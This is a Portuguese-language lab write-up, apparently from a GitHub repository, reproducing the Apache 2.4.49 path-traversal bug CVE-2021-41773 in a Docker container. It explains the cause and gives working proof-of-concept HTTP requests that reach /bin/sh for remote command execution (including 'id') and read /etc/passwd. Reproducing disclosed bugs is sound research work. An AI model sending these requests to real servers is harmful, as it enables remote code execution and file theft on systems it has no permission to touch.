1nhann/cve-2021-41773Reprodução de CVE-2021-41773
https://www.tenable.com/blog/cve-2021-41773-path-traversal-zero-day-in-apache-http-server-exploited
Vulnerabilidade exclusiva do Apache v2.4.49. Em versões anteriores não existia a função ap_normalize_path, que foi introduzida na versão v2.4.49. Foi essa função que causou a travessia de diretórios, corrigida na v2.4.50.
https://github.com/1nhann/CVE-2021-41773
Neste ambiente, o módulo CGI foi carregado:
LoadModule cgi_module modules/mod_cgi.so
root@ubuntu:~/$ git clone https://github.com/1nhann/CVE-2021-41773.git
root@ubuntu:~/$ cd CVE-2021-41773
root@ubuntu:~/CVE-2021-41773$ docker build -t cve .
root@ubuntu:~/CVE-2021-41773$ docker run -d -p 12345:80 cve
Dentro do container: image-20211006213843476
GET /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bash.cgi HTTP/1.1
Host: 127.0.0.1:12345
User-Agent: curl/7.68.0
Accept: */*
Connection: close
image-20211006210008166
Executou o /bash.cgi da raiz.
Consultando a documentação do Apache sobre CGI:
STDIN e STDOUT
Outra comunicação entre o servidor e o cliente ocorre via entrada padrão (
STDIN) e saída padrão (STDOUT). No contexto cotidiano,STDINsignifica o teclado, ou um arquivo que um programa recebe para processar, eSTDOUTgeralmente significa o console ou tela.Quando você faz um
POSTde um formulário web para um programa CGI, os dados desse formulário são agrupados em um formato especial e entregues ao seu programa CGI viaSTDIN. O programa pode então processar esses dados como se estivessem vindo do teclado ou de um arquivo.O "formato especial" é muito simples. Um nome de campo e seu valor são unidos por um sinal de igual (=), e pares de valores são unidos por um e comercial (&). Caracteres inconvenientes como espaços, e comerciais e sinais de igual são convertidos em seus equivalentes hexadecimais para não atrapalharem o funcionamento. A string de dados completa pode ser algo como:
name=Rich%20Bowen&city=Lexington&state=KY&sidekick=Squirrel%20Monkey
Ou seja, os parâmetros passados via POST são fornecidos como conteúdo de stdin para o programa CGI acessado.
Se acessar /bin/sh, é possível obter um shell diretamente.
PoC:
POST /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh HTTP/1.1
Host: 127.0.0.1:12345
User-Agent: curl/7.68.0
Accept: */*
Content-Length: 22
Content-Type: application/x-www-form-urlencoded
Connection: close
data=;touch /tmp/pwned
image-20211006213421718
Também é possível exibir diretamente o resultado da execução do comando:
PoC:
POST /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh HTTP/1.1
Host: 127.0.0.1:12345
User-Agent: curl/7.68.0
Accept: */*
Content-Length: 22
Content-Type: application/x-www-form-urlencoded
Connection: close
echo Content-Type: text/plain; echo; id
Se o módulo CGI não estiver carregado, o arquivo acessado não será executado:
#LoadModule cgi_module modules/mod_cgi.so
PoC:
GET /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1
Host: 127.0.0.1:12345
User-Agent: curl/7.68.0
Accept: */*
Connection: close
image-20211006232521116